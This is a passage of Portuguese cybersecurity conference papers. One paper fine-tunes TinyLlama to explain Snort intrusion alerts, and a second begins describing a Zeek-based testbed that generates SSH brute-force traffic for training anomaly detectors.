O objetivo final de um modelo de LLM é entender e gerar texto como um humano de
forma aprofundada, sendo excelentes para traduzir textos. Os LLMs são treinados com
larga quantidade de dados. Os seus bilhões de parâmetros permitem que eles tenham
raciocı́nio apurado capturando padrões complexos na resolução de problemas. Podendo
ser empregados em diversas áreas, que não necessariamente podem ter vinculo direto com
tecnologia como o caso da segurança cibernética.

O Gemini 2.5 Flash é um dos modelos mais recentes de LLM lançado pela Goo-
gle. Este modelo oferece recursos completos, como velocidade, custo-beneficio, sendo
o primeiro modelo flash com funcionalidades de raciocı́nio apurado. A interface de
programação de aplicativos (API) é disponilizada com algumas limitações em nı́vel gra-
tuito para desenvolvimento e testes pela Google AI Studio, o que torna este modelo a
solução ideal para desenvolvedores que precisam de um modelo que seja de escalar e
altamente inteligente.

2.2.2. Small Language Model (SLM)

SLM refer-se a modelos de LLM, que são projetatos para serem compactos. Embora não
tenham a capacidade de acumular larga quantidade de conhecimento como uma LLM,
estes modelos possuem a vantagem de executar com eficiência tarefas especı́ficas que
exigem menos recursos que um modelo como o Gemini, podendo ser executada em
smartphones, dispositivos IoT e outros sistemas que não possuem alta capacidade de pro-
cessamento.

O TinyLlama-1.1B-Chat-v1.0 é um modelo de SLM de código aberto que tem o
objetivo de ser extremamente pequeno, possuindo 1,1 bilhão de parâmetros, sendo ideal
para aplicações que exigem baixo custo computacional. Além disso, este modelo utiliza
a mesma arquitetura e tokenizador do Llama 2, o que o torna compatı́vel com o vasto
ecossistema de ferramentas construı́das da famı́lia Llama.

2.3. Supervised Fine-Tuning (SFT)
O SFT ou Ajuste Fino Supervisionado é o processo de especializar um modelo de
LLM/SLM em uma tarefa especı́fica. Esta técnica consiste em pegar um modelo genérico
e treiná-lo com um dataset menor e de alta qualidade, assim o especializando. Ele não
é alimentado com texto bruto, mas com pares exatos de “entrada-saı́da” ou “instrução-
resposta”. Isto faz com o que modelo consiga seguir comandos e se comportar como um
assistente especialista.

O Parameter-Efficient Fine-Tuning PEFT ou Ajuste Fino Eficiente de Parâmetros
é um conjunto de técnicas que permite tornar o ajuste fino de modelos de LLM mais
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eficientes. O PEFT não faz o retreino de todos os bilhões de parâmetros, em vez disso,
ele congela o modelo original e foca o treino em um número pequeno de parâmetros
[Han et al. 2024].

Adicionalmente, o Low-Rank Adaptation (LoRA) ou Adaptação de Baixo Rank
treina acelera o treinamento por meio do treinamento de adpters que são pertubações
em matrizes de pesos selecionados. Há indı́cios que que o LoRa apresenta desempenho
equivalente ou superior ao retreino completo [Biderman et al. 2024].

2.4. Recall-Oriented Understudy for Gisting Evaluation (ROUGE)

Para quantificar a qualidade das explicações geradas pelo modelo de Inteligência Artifi-
cial, utilizou-se o conjunto de métricas ROUGE. Amplamente adotado em tarefas de Pro-
cessamento de Linguagem Natural (PLN), o ROUGE avalia a similaridade entre a saı́da
gerada pelo modelo e uma ou mais referências humanas (Ground Truth), focando prin-
cipalmente na revocação (Recall). Diferente de sistemas de detecção de intrusão (IDS)
clássicos, onde a métrica é binária (detectou/não detectou), em XAI o objetivo é a quali-
dade da justificativa. Por isso, métricas de similaridade textual como o ROUGE são mais
apropriadas do que métricas de classificação como Acurácia ou F1-Score para esta etapa
especı́fica do trabalho. [Yuan et al. 2024], [Hu and Zhou 2024].

3. Trabalhos Relacionados

O trabalho de [Bulut et al. 2024] aborda uma SLM focada em logs de segurança. O Se-
cEncoder é projetado para encontrar padrões únicos nos logs que ele foi treinado. O
resultados indicam que este modelo supera modelos mais robustos como o BERT-large,
DeBERTa-v3-large e outros modelos que são pré-treinados principalmente com lingua-
gem natural e que conseguem resolver uma ampla variedade de tarefas.

O trabalho de [Daniel et al. 2025] investiga a capacidade de 3 modelos de LLM
em traduzir 973 alertas do Snort. As LLMs utilizadas foram ChatGPT, Claude e Ge-
mini. A técnica utilizada consiste em injetar um prompt e o alerta bruto na entrada e com
isso receber uma saı́da traduzida que facilite a leitura do analista de segurança. Embora
os resultados dos LLMs fossem eficientes e escaláveis, os modelos mais tradicionais de
machine learning conseguem superar a precisão dos modelos de LLM neste quesito.

O trabalho de [Mitra et al. 2025] apresenta um framework denominado FALCON.
Este framework é capaz de gerar regras do Snort em tempo real. Além disso, ele também
se destacou na geração de regras, com uma média de 95% de precisão validada por
avaliação qualitativa e com 84% de concordância entre os avaliadores. Os resultados
obtidos evidenciam a importância da mineração de dados em conjunto com LLMs.

O trabalho de [Habibzadeh et al. 2025] apresenta um survey sobre o emprego de
LLMs para automatizar o grande volume de dados em um Security Operation Center
(SOC). Segundo o autor, este trabalho tem grande importância, pois oferece a gerentes de
SOC e pesquisadores uma ampla visão sobre a integração de LLMs com o SOC. Além
disso, é um dos primeiros trabalhos a abordarem com riqueza de detalhes o tema.

O trabalho de [Feng and Sakurai 2025] aborda um survey que expõe a evolução
dos sistemas de IDS. Foram analisados métodos convencionais, como o de redes neurais.
São explorados os pontos fortes e fracos de cada método empregados em IDS. O autor
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aponta que as LLMs apresentam novos benefı́cios em comparação com os métodos ante-
riores, porém, não é viável treinar uma LLM do inı́cio, o que se faz necessário abordagens
como a de fine-tunning.

O trabalho de [Meng et al. 2025] apresenta um framework denominado RHINO.
O RHINO faz a análise de ataques baseada em LLMs. O sistema funciona decompondo
a análise em 3 partes. A primeira parte interpreta os logs com dados brutos e com isso
fornece as entradas para a segunda parte. A segunda parte instrui o LLM a simular espe-
cialistas de segurança. Por fim, a terceira parte faz a validação, cruzando com dados do
MITRE, para retificar possı́veis alucinações do LLM. O RHINO alcançou altas precições
com variações entre 86% e 88%.

O presente trabalho focou na utilização modelos de baixo custo para a análise e
interpretação de logs do SNORT. Para tanto, utilizamo o modelo TinyLlama-1.1B. Este
modelo é interessante pois ele entende a lı́ngua portuguesa, não sendo necessário treiná-
lo também para aprender português e assim oferecer os insights dos logs em português.
Além disso, este modelo possui licença Apache 2.0, o que permite que qualquer pessoa
possa usar, modificar, distribuir e até mesmo comercializar.

3.1. Discussão

Trabalho Utiliza SLM Interpretação de logs Snort com LLM/SLM
[Bulut et al. 2024] Sim Não
[Daniel et al. 2025] Não Sim
[Mitra et al. 2025] Não Sim

[Habibzadeh et al. 2025] Não Não
[Feng and Sakurai 2025] Não Não

[Meng et al. 2025] Não Não
O Presente trabalho Sim Sim

Tabela 1. Tabela de comparação entre os trabalhos.

A análise comparativa apresentada na Tabela 1 revela uma lacuna importante na lite-
ratura atual quanto ao uso de modelos otimizados. Observa-se que apenas o estudo
de [Bulut et al. 2024] utiliza a abordagem de SLM, porém sem aplicá-la especifica-
mente ao processamento de logs do Snort. Por outro lado, embora os trabalhos de
[Daniel et al. 2025] e [Mitra et al. 2025] realizem a interpretação de dados do Snort, am-
bos o fazem recorrendo a modelos de LLM, que demandam maior poder computacional.
Nesse cenário, o presente trabalho se diferencia como a única solução que integra o uso
de SLM voltado especificamente para a interpretação de logs do Snort, unindo a eficiência
de modelos menores à especialização necessária para a análise de segurança de rede.

4. Proposta

A arquitetura proposta para integrar modelos de detecção de intrusão está organizada
em duas etapas principais: a fase de treinamento e a fase de teste. Conforme ilustrado
na Figura 1, na fase de treinamento, inicia-se o processo com um conjunto de dados de
segurança, contendo descrições de ameaças, assinaturas, regras e exemplos de incidentes
em formato de texto simples.
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Figura 1. Fases do Projeto.

Este material é pré-processado e transformado em logs no estilo Snort (como ar-
quivos JSON), formando o “Conjunto de Dados de Logs Snort”. A partir desses logs, a
API Gemini é acionada para produzir insights em linguagem natural para cada evento,
descrevendo o tipo de ameaça e sugerindo ações para mitigação. Estes insights gerados
pela API serão usados no treinamento do TinyLlama, um SLM projetado para operar em
ambientes com recursos limitados.

Conforme representado na Figura 1, o modelo Gemini atua como um “professor”,
fornecendo interpretações detalhadas e bem estruturadas, que são convertidas em pares
de entrada/saı́da para o SLM TinyLlama. Isso permite que o TinyLlama aprenda, a par-
tir de atributos de log, a detectar padrões de ataque e produzir respostas explicativas e
recomendações que se aproximam da qualidade de um LLM baseado em nuvem.

Na fase de teste, mostrada na seção inferior da Figura 1, o mesmo Conjunto de
Dados de Logs Snort é fornecido em paralelo tanto ao TinyLlama quanto à API Gemini.
Cada modelo gera independentemente sua interpretação do evento, fornecendo insights
sobre a ameaça detectada e sugerida ações para mitigação. Esses resultados são então
comparados para avaliar o quanto o SLM se aproxima do raciocı́nio e interpretabilidade
do LLM, tanto em termos de identificação de ameaças quanto de clareza das ações reco-
mendadas.

E na última fase, os insights produzidos pelos dois modelos podem ser incorpora-
dos ao fluxo de trabalho do analista de segurança, oferecendo para cada alerta explicações
e orientações em linguagem natural. Ao comparar o TinyLlama e a API Gemini usando
logs Snort idênticos, a abordagem fornece evidências baseadas na experiência da viabi-
lidade de implantar SLMs em ambientes onde a privacidade, a latência ou as restrições
computacionais são limitados e não possibilitam o uso de grandes modelos baseados em
nuvem, mantendo nı́veis satisfatórios e significativos de explicabilidade e de suporte à
decisão.
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5. Metodologia
A metodologia experimental adotada neste trabalho foi delineada com o objetivo de ins-
tanciar, executar e avaliar empiricamente a arquitetura proposta na seção anterior, con-
siderando um cenário realista de análise de eventos de segurança cibernética. Todas as
etapas experimentais foram conduzidas em ambiente controlado, garantindo reproduti-
bilidade e consistência dos resultados, desde a preparação dos dados até a análise das
métricas de desempenho.

Os experimentos foram executados em ambiente computacional baseado em Go-
ogle Colab, permitindo a padronização do ambiente de execução e o uso de bibliotecas
atualizadas sem dependência de infraestrutura local. A implementação foi realizada em
Python, com suporte da biblioteca PyTorch para o ajuste fino e inferência do modelo
de linguagem, assegurando flexibilidade no controle dos hiperparâmetros e no monitora-
mento do processo de treinamento.

A etapa inicial consistiu na seleção e no tratamento dos registros de segurança ge-
rados pelo sistema de detecção de intrusão Snort. Os logs foram organizados em formato
textual estruturado, preservando os atributos essenciais para caracterização dos eventos,
e utilizados como instâncias de entrada no processo experimental. Esses registros servi-
ram tanto para a geração dos dados de treinamento supervisionado quanto para a fase de
avaliação comparativa entre modelos.

O ajuste fino do modelo TinyLlama-1.1B foi conduzido por meio de Supervised
Fine-Tuning, utilizando um conjunto de pares de entrada e saı́da previamente construı́do.
O treinamento foi realizado ao longo de múltiplas épocas, com divisão explı́cita entre
dados de treinamento e validação, permitindo acompanhar a evolução da função de perda
e identificar o ponto de convergência do modelo. Essa estratégia possibilitou avaliar a
capacidade de generalização do SLM, aspecto crı́tico em aplicações de explicabilidade
voltadas à segurança cibernética.

Concluı́da a fase de treinamento, o modelo ajustado foi submetido a testes utili-
zando logs não vistos durante o processo de ajuste fino. As saı́das geradas pelo TinyLlama
foram então comparadas às interpretações produzidas pelo modelo de referência base-
ado em nuvem, considerando exclusivamente o conteúdo textual das explicações. Essa
comparação teve como finalidade mensurar o grau de proximidade semântica e estrutural
entre as respostas, sem recorrer a métricas tradicionais de classificação, uma vez que o
foco do estudo reside na qualidade explicativa das saı́das.

A avaliação experimental foi estruturada a partir de duas perspectivas complemen-
tares. A primeira concentrou-se na estabilidade e eficiência do processo de aprendizado,
analisada por meio das curvas de perda de treinamento e validação. A segunda perspec-
tiva avaliou a qualidade das explicações geradas pelo modelo, utilizando métricas ROUGE
para quantificar a similaridade entre os textos produzidos e as referências técnicas adota-
das. Essa abordagem permitiu correlacionar a convergência do modelo com seu desempe-
nho explicativo, fornecendo evidências empı́ricas sobre a viabilidade do uso de modelos
compactos em cenários de apoio à decisão em segurança cibernética.

5.1. Prompt Utilizado
A Figura 2 mostra o prompt que foi utilizado. A estratégia que utilizamos usa um tem-
plate de prompt para padronizar a entrada de dados, o que é fundamental para um modelo
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pequeno como o TinyLlama. O objetivo principal dessa estrutura é evitar que o modelo
“invente” informações (alucinações) e garantir que a resposta final seja útil para um ana-
lista de segurança. O fluxo começa com o bloco ### INSTRUÇÃO, que define o papel
da IA e dá a ordem direta para analisar a ameaça e sugerir o que deve ser feito.

Figura 2. Estrutura de prompt utilizada para o ajuste fino e inferência do modelo
TinyLlama.

Logo em seguida, o campo {SNORT LOG ENTRY} funciona como um espaço
reservado (placeholder) para receber o log bruto do Snort. É aqui que o modelo recebe os
dados reais da rede para começar o processamento. Por fim, a etiqueta ### RESPOSTA
marca exatamente onde o modelo deve entregar a análise técnica e as recomendações de
bloqueio. Essa organização em blocos simples é o que permite que a ferramenta entregue
uma solução confiável para ser usada no dia a dia de um SOC.

6. Resultados
Esta Seção apresenta e discute os resultados obtidos no processo de ajuste fino do
TinyLlama-1.1B, com o objetivo de especializá-lo na tarefa de geração de explicações
inteligı́veis para eventos de segurança cibernética.

A validação de modelos de Inteligência Artificial Explicável (XAI) exige uma
abordagem de avaliação dupla. Não basta apenas que o modelo convirja matematica-
mente; é necessário que a saı́da textual seja coerente, tecnicamente precisa e útil para o
analista de segurança.

A análise de desempenho foi estruturada em duas frentes complementares para
validar a eficácia do modelo. A primeira foca na eficiência do aprendizado, utilizando
as curvas de Loss (treino e validação) para garantir que o modelo desenvolveu a capa-
cidade de generalizar sobre ameaças e vulnerabilidades, evitando o ajuste excessivo aos
dados. Paralelamente, a qualidade da geração textual é aferida por meio das métricas
ROUGE, que comparam a similaridade entre as explicações geradas pela IA e as re-
ferências técnicas esperadas. A seguir, detalham-se esses indicadores, evidenciando a
correlação entre o tempo de treinamento e a precisão das respostas fornecidas.

6.1. Análise da Convergência do Treinamento

Inicialmente, observamos o comportamento do modelo durante as épocas de treinamento
para verificar a estabilidade do aprendizado e a capacidade de generalização.

O gráfico exibido na Figura 3 apresenta a evolução da função de perda (Loss)
ao longo de 6 épocas. O eixo horizontal marca a progressão temporal, enquanto o eixo
vertical indica o valor numérico da perda.
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Figura 3. Desempenho do Modelo ao Longo das Épocas (Loss de Treinamento
vs. Validação)

A análise das curvas revela que, nas duas primeiras épocas, ocorre uma con-
vergência inicial rápida, com ambas as perdas caindo de 0,80 para a faixa de 0,70. Esse
comportamento sinaliza que o modelo absorveu os padrões fundamentais do dataset logo
no inı́cio do ajuste de pesos, demonstrando eficiência no aprendizado primário.

Contudo, a partir da terceira época, surge um ponto de divergência: enquanto
a Loss de treinamento mantém uma queda agressiva até atingir aproximadamente 0,55
na sexta época, a Loss de validação desacelera e estabiliza em torno de 0,65. Esse dis-
tanciamento entre as linhas nas fases finais sugere o inı́cio de um quadro de overfitting
(sobreajuste). No contexto de XAI aplicado à Cibersegurança, esse fator é crı́tico, pois o
modelo deve ser capaz de explicar ameaças que não são meras cópias dos dados de treino.
Diante desse cenário, os indicadores apontam que o equilı́brio ideal entre aprendizado e
generalização foi atingido próximo à Época 4, ponto que confere maior robustez técnica
ao modelo.

Uma vez validada a estabilidade do treinamento, avaliamos a qualidade do texto
gerado submetendo o modelo a diferentes configurações de comprimento de saı́da (Max
New Tokens).

A análise visual da Figura 4 revela um comportamento não linear na qualidade da
geração conforme o limite de tokens é alterado. Inicialmente, observa-se a dominância da
métrica ROUGE-1, que apresenta os valores mais altos em todos os cenários e atinge um
pico superior a 0,40 com 512 tokens. Esse desempenho demonstra a eficácia do modelo
em recuperar terminologias técnicas essenciais, como nomes de ataques e protocolos.

Por outro lado, nota-se uma queda acentuada de desempenho quando o limite é
fixado em 128 tokens, o que representa um ponto crı́tico para aplicações de XAI. O trun-
camento das respostas nesse patamar impede o desenvolvimento do raciocı́nio necessário,
resultando em explicações incompletas que prejudicam a similaridade com a referência
técnica. Essa tendência é revertida com o aumento para 256 e 512 tokens, onde ocorre
uma recuperação consistente. A métrica ROUGE-L, que reflete a estrutura e a coesão
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Figura 4. Desempenho do Modelo em Diferentes Comprimentos de Saı́da
(ROUGE-1, ROUGE-2, ROUGE-L)

das frases, acompanha essa evolução, sugerindo que o TinyLlama demanda maior espaço
para elaborar explicações estruturadas, fator fundamental para garantir a transparência em
sistemas de defesa.

6.2. Correlação entre Estabilidade e Explicabilidade
A análise conjunta das métricas de perda e de qualidade de texto (ROUGE) oferece uma
visão mais global sobre a eficácia do experimento.

O gráfico da Figura 4 demonstrou que o modelo atingiu uma convergência sa-
tisfatória por volta da 4a época, indicando que ele internalizou com sucesso os padrões
lógicos dos dados de segurança. No entanto, a análise das métricas ROUGE revela que
essa “internalização do conhecimento” só se traduz em explicações de alta qualidade
quando o modelo possui liberdade de geração suficiente.

O desempenho superior observado quando o parâmetro Max New Tokens é de-
finido em 512 valida a hipótese de que a explicabilidade em segurança cibernética não
pode ser resumida excessivamente. Para que a IA seja “Explicável” (XAI) e confiável
para um operador humano, ela necessita de uma janela de contexto ampla para articular
detalhadamente a natureza de uma ameaça ou vulnerabilidade.

6.3. Estudo de Caso
A Tabela 2 mostra informações para validar a eficácia do TinyLlama em um cenário real,
foi realizado um estudo de caso focado em um alerta de SQL Injection gerado pelo Snort.
Os resultados demonstram que o modelo foi capaz de interpretar o log bruto e identifi-
car corretamente a tentativa de exploração de vulnerabilidade, correlacionando o erro de
mysql query com a intenção do atacante de inserir texto malicioso.

Ao comparar a saı́da gerada com a referência (Gemini Flash), observa-se que
as recomendações do TinyLlama foram tecnicamente coerentes e focadas na remediação
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Tabela 2. Estudo de Caso: Comparação de Interpretação de SQL Injection

Entrada (Log Snort)
[12/08-00:51:19.501356] ET WEB SERVER SQL Errors in HTTP 200
Response (mysql query) 83.170.101.10:80 -> 192.168.13.10:1039
Protocol: TCP TTL:128 ...
TinyLlama 1.1B (Gerado) Referência (Ideal)
Ameaça Provável: SQL Injection/SQL
Inspeção. O alerta sugere que um atacante
está tentando explorar uma falha na aplicação
para inserir texto malicioso.

Ameaça Provável: Tentativa de SQL Injec-
tion. O servidor está respondendo com erros
SQL (mysql query) em páginas HTTP 200,
indicando falha no tratamento de input.

Ações Recomendadas: Ações Recomendadas:
1. Isolar o Servidor: Imediatamente, isole o
servidor web (192.168.13.10).

1. Resposta Imediata: Isole o servidor e blo-
queie o IP 83.170.101.10.

2. Investigar Logs: Analise logs do servidor
(Apache/Nginx).

2. Análise Forense: Analise logs e código da
aplicação.

3. Analisar Tráfego: Verifique conexão
HTTP 83.170.101.10.

3. Remediação: Use prepared statements.

imediata. O modelo priorizou o isolamento do servidor comprometido (IP 192.168.13.10)
e a investigação do tráfego originado pelo atacante (IP 83.170.101.10). Essa precisão
na extração de entidades e na sugestão de um “passo a passo” para resposta a inciden-
tes reforça a viabilidade do uso de SLMs em sistemas de XAI para Cibersegurança. O
desempenho obtido prova que modelos compactos podem fornecer explicações claras e
acionáveis, atendendo aos requisitos de transparência e eficiência computacional propos-
tos neste projeto.

7. Conclusão
O presente trabalho cumpriu o objetivo inicial de avaliar a viabilidade técnica do modelo
TinyLlama-1.1B como uma ferramenta de Inteligência Artificial Explicável aplicada à
segurança cibernética. Em resposta à crescente complexidade das ameaças digitais e à
necessidade de reduzir a carga sobre o analista humano, a pesquisa demonstrou que a
SLM oferece uma alternativa eficiente e de baixo custo computacional frente a grandes
modelos comerciais baseados em nuvem.

O cumprimento dos objetivos especı́ficos permitiu a construção de um pipeline
funcional, inciando na filtragem e estruturação dos logs do Snort e chegando ao uso da
API Gemini como “professor” para a geração de dados de treinamento. O processo de
fine-tuning comprovou que o TinyLlama é capaz de internalizar o vocabulário técnico e
a lógica de detecção de intrusão, apresentando uma convergência estável de aprendizado
por volta da 4a época, o que reduz os riscos de overfitting e o custo energético do treina-
mento.

A análise dos resultados, fundamentada nas métricas ROUGE e na observação
das curvas de Loss, evidenciou que a capacidade explicativa do modelo está diretamente
ligada à janela de contexto disponı́vel.

Conclui-se que, para tarefas de XAI onde a precisão técnica é determinante, o
modelo demanda liberdade de geração (configuração de 512 tokens de saı́da) para arti-
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cular justificativas coerentes, superando as limitações observadas em respostas truncadas.
Portanto, o estudo valida a hipótese de que modelos compactos podem operar localmente
em ambientes crı́ticos, permitindo o acesso a ferramentas avançadas de defesa sem a
exigência de hardwares caros de alta performance.

7.1. Trabalhos Futuros

A partir das descobertas e das limitações identificadas neste estudo, propõem-se caminhos
para pesquisas futuras que aprofundem a viabilidade prática da solução. Uma direção re-
levante envolve a validação human-in-the-loop, por meio de experimentos qualitativos
em que analistas de segurança avaliem, em testes “às cegas”, a utilidade e a clareza das
explicações do TinyLlama em comparação às saı́das do Gemini. Adicionalmente, a ex-
pansão para novos cenários é fundamental para testar a generalização do modelo frente a
logs de ataques zero-day e sua integração com outros sistemas de IDS, como Suricata ou
Zeek, ampliando o escopo para além do Snort.

No campo da otimização, a investigação de técnicas de quantização (4-bits ou 8-
bits) apresenta-se como um passo estratégico para viabilizar a implantação do modelo em
dispositivos de borda (edge computing), como firewalls e roteadores. Por fim, projeta-se
a evolução do modelo para a geração automática de regras de bloqueio, permitindo que a
IA não apenas explique o incidente, mas também sugira contramedidas imediatas para o
Snort, automatizando o ciclo completo de resposta a incidentes de segurança.
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Resumo. Este trabalho apresenta uma ferramenta prática e reprodutı́vel para
detecção de anomalias em tráfego de rede, fundamentada em um testbed auto-
matizado que orquestra atacantes, vı́timas e sensores. A solução executa ata-
ques configurados em YAML, captura artefatos com Zeek e realiza um processo
determinı́stico de ETL para produzir datasets tabulares adequados a diferen-
tes modelos de aprendizado de máquina, incluindo Random Forest, Isolation
Forest, One-Class SVM e Autoencoders. Os experimentos, conduzidos em um
dataset gerado pela ferramenta com aproximadamente 2.667 instâncias, eviden-
ciam desempenho consistente, com F1-Score aproximado de 0,99. Conclui-se
que a proposta é eficaz, escalável e adequadamente alinhada a cenários de
cibersegurança que demandam reprodutibilidade experimental.

Abstract. The generation of realistic datasets is a recurring challenge in the
development of Intrusion Detection Systems, particularly when robustness is
required in imbalanced traffic scenarios. This work presents a practical and
reproducible tool for anomaly detection in network traffic, grounded in an au-
tomated testbed that orchestrates attackers, victims, and sensors. The solution
executes YAML-configured attacks, captures artifacts with Zeek, and performs a
deterministic ETL process to produce tabular datasets suitable for various ma-
chine learning models, including Random Forest, Isolation Forest, One-Class
SVM, and Autoencoders. Experiments conducted on a dataset generated by the
tool, containing approximately 2,667 instances, demonstrate consistent perfor-
mance, with an F1-score of about 0.99. We conclude that the proposed approach
is effective, scalable, and well aligned with cybersecurity scenarios that require
experimental reproducibility and sensitivity to data imbalance.

Keywords: IDS, Anomaly, Zeek, Hydra, Vagrant, Machine Learning.

1. Introdução

A detecção de intrusões baseada em anomalias permanece um tema central na litera-
tura devido à sua capacidade de identificar comportamentos não previamente catalogados
por assinaturas [Chandola et al. 2009]. Entretanto, seu uso em Sistemas de Detecção
de Intrusões baseados em Rede (NIDS) ainda enfrenta desafios estruturais. Entre eles,
destaca-se a baixa reprodutibilidade dos experimentos envolvendo algoritmos de apren-
dizado de máquina, conforme discutido por Sommer e Paxson [Sommer and Paxson
2010], bem como a heterogeneidade dos datasets e das features disponı́veis, o que di-
ficulta comparações consistentes e limita a transferência dos resultados para ambientes
reais [Ring et al. 2019].
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Do ponto de vista operacional, sensores amplamente utilizados, como Zeek/Bro
e Snort, produzem artefatos ricos — a exemplo de conn.log e ssh.log — contendo
contagens de pacotes e bytes, estados de conexão e históricos detalhados de sessões [Pax-
son 1999][Roesch 1999][Paxson ][Zee ]. Entre os vetores de ataque observados nes-
ses cenários, os ataques de força bruta direcionados ao protocolo SSH constituem uma
ameaça recorrente, justificando atenção especı́fica em estudos [Singh et al. 2024].

Neste contexto, o presente trabalho tem como objetivo propor uma abordagem
prática, reprodutı́vel e baseada em algoritmos simples para um estudo de caso Hy-
dra→SSH. A proposta prioriza transparência experimental, por meio de manifesto e linha
do tempo de execução, bem como auditabilidade, utilizando mecanismos de rastreamento
de experimentos [Zaharia et al. 2018]. Adicionalmente, parte-se da hipótese de que
features derivadas de fluxos e sessões — tais como contagens, bytes, estados e histórico
— combinadas a modelos supervisionados e não supervisionados de baixa complexidade
(Random Forest, Isolation Forest, One-Class SVM e Autoencoders) são suficientes para
alcançar desempenho competitivo. Espera-se ainda que tais modelos permitam con-
trole operacional via seleção de limiar na curva de Precisão-Revocação (PR) [Saito and
Rehmsmeier 2015, Davis and Goadrich 2006], mesmo sob condições de maior robustez,
como a remoção explı́cita de atributos de porta e serviço para evitar leakage [Sommer
and Paxson 2010].

As principais contribuições deste trabalho podem ser sintetizadas como: (i) desen-
volvimento de uma ferramenta de laboratório capaz de orquestrar dinamicamente attac-
ker–victim–sensor, executar ataques especificados via YAML (Brute Force com Hydra)
e produzir artefatos completos, incluindo PCAP, logs Zeek e datasets acompanhados de
manifesto e linha do tempo; (ii) definição de uma metodologia de ETL determinı́stica e
orientada ao desbalanceamento, com avaliação baseada em PR e Average Precision (AP),
além de validação temporal quando aplicável [Saito and Rehmsmeier 2015, Davis and
Goadrich 2006, Gama et al. 2014]; (iii) estabelecimento de um baseline sólido utili-
zando modelos simples e amplamente documentados na literatura [Breiman 2001, Liu
et al. 2008, Schölkopf et al. 2001, Sakurada and Yairi 2014]; (iv) análise sistemática da
robustez com e sem atributos de porta/serviço, alinhada às recomendações de uso de flow
features encontradas em estudos recentes [Ring et al. 2019].

O restante deste trabalho está organizado como segue. Na Seção 2, é apresentada
a fundamentação teórica sobre detecção de anomalias em tráfego de rede, sensores de mo-
nitoramento e modelos de aprendizado de máquina utilizados. Na Seção 3, são discutidos
trabalhos e datasets relacionados, destacando limitações de reprodutibilidade e leakage.
Na Seção 4, descreve-se a arquitetura da ferramenta proposta, incluindo o testbed attac-
ker–victim–sensor, o mecanismo declarativo em YAML e a integração com coleta via
Zeek e ETL. Em seguida, na Seção 5, detalha-se a metodologia de construção do dataset,
pré-processamento, particionamento e protocolo de avaliação dos modelos. Na Seção 6,
são apresentados e discutidos os resultados experimentais obtidos. Na seção Ameaças
à Validade, são analisadas as principais limitações do estudo. Por fim, na Seção 8, são
apresentadas as conclusões e os trabalhos futuros.
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2. Fundamentação Teórica
A detecção de anomalias em tráfego de rede combina conceitos de segurança, modelagem
estatı́stica e aprendizado de máquina. Nesta seção, sintetizamos os fundamentos essenci-
ais utilizados neste trabalho, priorizando clareza e concisão, conforme recomendado pela
literatura clássica e contemporânea sobre NIDS baseados em ML.

2.1. IDS por Assinatura e por Anomalia
Os Sistemas de Detecção de Intrusão (IDS) podem operar por assinatura ou por anomalia.
Na abordagem baseada em assinatura, o IDS identifica padrões conhecidos de ataques; na
detecção por anomalia, o sistema modela um comportamento normal e sinaliza desvios
relevantes [Chandola et al. 2009]. Sensores amplamente utilizados, como Snort [Roesch
1999] e Zeek/Bro [Paxson 1999], desempenham papel central na captura e interpretação
de tráfego. O Zeek, em particular, fornece logs estruturados como conn.log, ssh.log
e weird.log, com atributos adequados para aprendizado de máquina [Paxson , Zee ].

Pesquisas recentes reforçam a relevância de flow features para modelagem de
tráfego, devido à sua robustez, escalabilidade e independência de payload [Ring et al.
2019]. Assim, a escolha do Zeek como sensor neste trabalho segue recomendações bem
estabelecidas na literatura.

2.2. Ataques SSH e Comportamento de Brute Force
Ataques de força bruta ao SSH são amplamente documentados, tanto em ambientes reais
quanto em laboratórios controlados, apresentando padrões caracterı́sticos como múltiplas
tentativas rápidas, conexões curtas e predominância de estados como SF e REJ [Singh
et al. 2024, Wu et al. 2020]. Neste trabalho, utilizamos o Hydra [THC 2011] para simular
brute force de modo reprodutı́vel e parametrizado, permitindo correlacionar com precisão
cada tentativa registrada na timeline com os fluxos capturados pelo Zeek.

Essa abordagem possibilita rotulagem consistente das sessões, permitindo construção
de datasets próprios e auditáveis, em contraste com abordagens que dependem apenas de
datasets públicos pré-gerados.

2.3. Modelos Simples e Métricas Adequadas
Modelos simples, como Random Forest [Breiman 2001], Isolation Forest [Liu et al.
2008], One-Class SVM [Schölkopf et al. 2001] e Autoencoders [Sakurada and Yairi
2014], têm se mostrado eficazes para detecção de anomalias, combinando baixo custo
computacional e interpretabilidade — caracterı́sticas desejáveis em segurança.

Devido ao desbalanceamento entre tráfego benigno e malicioso, métricas ROC-
AUC tornam-se otimistas [Saito and Rehmsmeier 2015]; por isso, priorizamos Pre-
cisão–Revocação e AP [Davis and Goadrich 2006]. A seleção do limiar operacional é
feita diretamente na curva PR visando precisão-alvo, estratégia condizente com cenários
reais de NIDS.

2.4. Leakage, Validação Temporal e Reprodutibilidade
Sommer e Paxson [Sommer and Paxson 2010] destacam armadilhas como feature lea-
kage, validações inadequadas e falta de rastreabilidade. Para mitigá-las, utilizamos white-
list de colunas e avaliamos duas variantes do dataset (com/sem atributos de porta/serviço).

Segurança Cibernética na Prática

157



O pipeline desenvolvido incorpora manifestos, timelines e ETL determinı́stico
para reconstrução experimental, alinhado a recomendações de reprodutibilidade em ML
[Zaharia et al. 2018]. Consideramos também, como trabalho futuro, validação temporal
conforme diretrizes de concept drift [Gama et al. 2014].

3. Trabalhos Relacionados

Tabela 1. Comparação entre datasets e abordagens de detecção de anomalias em
tráfego de rede.

Trabalho Tipo/Coleta Vetores dominantes Métricas

CICIDS2017 Público / laboratório DDoS, brute force, botnet,
web attacks

Accuracy, F1,
ROC/PR

UNSW-NB15 Público / laboratório 9 categorias (fuzzers, DoS,
exploits, etc.)

Accuracy, ROC-
AUC

CTU-13 Público / captura real Botnets (Neris, Rbot, Virut,
etc.)

Accuracy, F1

Kitsune Método + testbed Mirai e IoT (NIDS online) ROC, FPR/TPR
Este trabalho Coleta própria repro-

dutı́vel
SSH brute force (Hydra) PR/AP, F1, accu-

racy

Datasets públicos amplamente utilizados na literatura, como CICIDS2017 [Sha-
rafaldin et al. 2018, Web a] e UNSW-NB15 [Moustafa and Slay 2015, Web b], exercem
papel central na avaliação de técnicas de detecção de intrusões. O CICIDS2017 reúne
tráfego variado, abrangendo ataques de força bruta, DDoS e vetores web, sendo conside-
rado um benchmark moderno e de fácil replicação. Já o UNSW-NB15 combina tráfego
realista e sintético em nove categorias de ataques, oferecendo diversidade e melhor ba-
lanceamento entre classes. Ambos, porém, apresentam limitações discutidas na literatura,
em especial o risco de overfitting ao domı́nio especı́fico de geração e a dificuldade de
extrapolação para ambientes operacionais reais [Ring et al. 2019].

